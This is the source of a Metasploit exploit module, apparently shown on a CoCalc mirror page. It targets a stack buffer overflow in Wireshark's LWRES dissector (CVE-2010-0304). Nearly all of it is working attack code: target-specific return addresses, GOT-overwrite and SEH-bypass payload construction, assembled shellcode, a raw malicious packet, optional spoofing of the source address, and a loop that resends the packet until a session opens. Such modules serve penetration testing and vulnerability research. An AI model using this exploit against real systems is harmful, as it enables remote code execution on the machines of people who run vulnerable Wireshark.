CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Udp
10
include Msf::Exploit::Remote::Seh
11
include Msf::Exploit::Capture
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow (loop)',
16
'Description' => %q{
17
The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through
18
1.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer
19
overflow. This bug found and reported by babi.
20
21
This particular exploit targets the dissect_getaddrsbyname_request function. Several
22
other functions also contain potentially exploitable stack-based buffer overflows.
23
24
The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents
25
exploitation via the return address on the stack. Sending a larger string allows
26
exploitation using the SEH bypass method. However, this packet will usually get
27
fragmented, which may cause additional complications.
28
29
NOTE: The vulnerable code is reached only when the packet dissection is rendered.
30
If the packet is fragmented, all fragments must be captured and reassembled to
31
exploit this issue.
32
33
This version loops, sending the packet every X seconds until the job is killed.
34
},
35
'Author' =>
36
[
37
'babi', # original discovery/exploit
38
'jduck', # ported from public exploit
39
'redsand' # windows target/testing
40
],
41
'License' => MSF_LICENSE,
42
'References' =>
43
[
44
[ 'CVE', '2010-0304' ],
45
[ 'OSVDB', '61987' ],
46
[ 'BID', '37985' ],
47
[ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2010-02.html' ],
48
[ 'URL', 'http://anonsvn.wireshark.org/viewvc/trunk-1.2/epan/dissectors/packet-lwres.c?view=diff&r1=31596&r2=28492&diff_format=h' ]
49
],
50
'DefaultOptions' =>
51
{
52
'EXITFUNC' => 'process',
53
},
54
'Privileged' => true, # at least capture privilege
55
'Payload' =>
56
{
57
'Space' => 512,
58
'BadChars' => "\x00",
59
'DisableNops' => true,
60
},
61
'DefaultTarget' => 4,
62
'Platform' => %w{ linux osx win },
63
'Targets' =>
64
[
65
[ 'tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
66
# breakpoint: lwres.so + 0x2ce2
67
{
68
'Arch' => ARCH_X86,
69
'Platform' => 'linux',
70
# conveniently, edx pointed at our string..
71
# and so, we write it to g_slist_append's GOT entry just before its called.
72
# pwnt.
73
#
74
# mov [ebx+0xc],edx / jmp 0x804fc40 -->
75
# mov [esp+4],eax / mov eax,[edi+8] / mov [esp],eax / call g_slist_append
76
#
77
'Ret' => 0x804fc85, # see above..
78
'RetOff' => 376,
79
'Readable' => 0x804fa04, # just anything
80
'GotAddr' => 0x080709c8 # objdump -R tshark | grep g_slist_append
81
}
82
],
83
[ 'wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
84
{
85
'Arch' => ARCH_X86,
86
'Platform' => 'linux',
87
# the method for tshark doesn't work, since there aren't any convenient
88
# pointers lying around (in reg/close on stack)
89
#
90
# since the wireshark bin has a jmp esp, we'll just use that method..
91
'Ret' => 0x818fce8, # jmp esp in wireshark bin
92
'RetOff' => 376,
93
'Readable' => 0x8066a40, # just any old readable addr (unused)
94
'GotAddr' => 0x818601c # objdump -R wireshark | grep g_slist_append (unused)
95
}
96
],
97
98
[ 'wireshark 1.2.5 on RHEL 5.4 (x64)',
99
{
100
'Arch' => ARCH_X64,
101
'Platform' => 'linux',
102
'Ret' => 0xfeedfed5deadbeef,
103
'RetOff' => 152,
104
}
105
],
106
107
[ 'wireshark 1.2.5 on Mac OS X 10.5 (x86)',
108
{
109
'Arch' => ARCH_X86,
110
'Platform' => 'osx',
111
'Ret' => 0xdeadbeef,
112
'RetOff' => 268,
113
}
114
],
115
116
# The following target was tested against Windows XP SP3 and Windows Vista
117
[ 'wireshark/tshark 1.2.1 and 1.2.5 on Windows (x86)',
118
{
119
'Arch' => ARCH_X86,
120
'Platform' => 'win',
121
# NOTE: due to the length of this packet, your mileage may vary.
122
'Ret' => 0x61B4121B,
123
# 0x655810b6 = pop/pop/ret in libpango
124
# 0x02A110B6 = pop/pop/ret in libgtk-w
125
# 0x03D710CC = pop/mov/pop/ret in packet
126
# 0x61B4121B = pop/pop/ret in pcre3
127
'RetOff' => 2128,
128
}
129
],
130
],
131
'DisclosureDate' => '2010-01-27',
132
# Set it to passive mode to background it.
133
'Stance' => Msf::Exploit::Stance::Passive))
134
135
register_options([
136
Opt::RPORT(921),
137
Opt::RHOST("239.255.255.250"),
138
OptAddress.new( 'SHOST', [false, 'This option can be used to specify a spoofed source address', nil]),
139
OptInt.new( 'DELAY', [true, 'This option sets the delay between sent packets', 5])
140
])
141
142
register_advanced_options([
143
OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ])
144
])
145
146
deregister_options('FILTER','PCAPFILE')
147
end
148
149
def exploit
150
check_pcaprub_loaded # Check first
151
152
ret_offset = target['RetOff']
153
154
# we have different techniques depending on the target
155
if (target == targets[0])
156
# debian tshark
157
str = make_nops(ret_offset - payload.encoded.length - 16)
158
str << payload.encoded
159
str << [target['GotAddr'] - 0xc].pack('V')
160
str << rand_text(4)
161
str << [target['Readable']].pack('V')
162
str << rand_text(4)
163
# ret is next
164
elsif (target == targets[1])
165
fix_esp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-3500").encode_string
166
str = make_nops(ret_offset - fix_esp.length - payload.encoded.length)
167
str << fix_esp
168
str << payload.encoded
169
# jmp esp...
170
str << [target.ret].pack('V')
171
# jump back
172
distance = ret_offset + 4
173
str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
174
elsif (target == targets[4])
175
# ugh, /GS and UDP length issues :-/
176
str = make_nops(ret_offset - payload.encoded.length)
177
str << payload.encoded
178
str << generate_seh_record(target.ret)
179
# jump back
180
distance = ret_offset + 8
181
str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
182
else
183
# this is just a simple DoS payload
184
str = Rex::Text.pattern_create(ret_offset)
185
#str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string
186
end
187
188
# add return address
189
#XXX: this isn't working?
190
#str << Rex::Arch.pack_addr(target.arch, target.ret)
191
str << [target.ret].pack('V')
192
193
# form the packet's payload!
194
sploit = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"
195
sploit << "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"
196
sploit << "\x00\x00\x00\x01"
197
sploit << [str.length].pack('n')
198
sploit << str
199
sploit << "\x00\x00"
200
201
shost = datastore['SHOST']
202
if (shost)
203
print_status("Sending malformed LWRES packet (spoofed from #{shost})")
204
open_pcap
205
206
p = PacketFu::UDPPacket.new
207
p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost)
208
p.ip_daddr = rhost
209
p.udp_sport = rand((2**16)-1024)+1024
210
p.udp_dport = datastore['RPORT'].to_i
211
p.payload = sploit
212
p.recalc
213
214
while true
215
break if session_created? and datastore['ExitOnSession']
216
break unless capture_sendto(p, rhost)
217
select(nil,nil,nil,datastore['DELAY'])
218
end
219
220
close_pcap
221
222
handler
223
else
224
print_status("Sending malformed LWRES packet every #{datastore['DELAY']} seconds.")
225
226
handler
227
228
while true
229
break if session_created? and datastore['ExitOnSession']
230
connect_udp
231
udp_sock.put(sploit)
232
disconnect_udp
233
select(nil,nil,nil,datastore['DELAY'])
234
end
235
end
236
237
end
238
end
239
240